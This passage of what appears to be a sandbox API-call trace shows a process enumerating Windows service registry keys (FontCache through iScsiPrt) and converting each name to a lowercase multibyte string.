CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0191.053] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0191.053] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f18e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0191.053] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0191.053] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0191.053] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0191.053] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1a90, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0191.054] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0191.055] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0191.055] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0191.055] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0191.055] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0191.055] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0191.055] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0191.056] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0191.056] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0191.056] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0191.056] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0191.056] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0191.056] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0191.057] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0191.057] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0191.057] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0191.057] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0191.057] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0191.057] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0191.058] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0191.059] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, 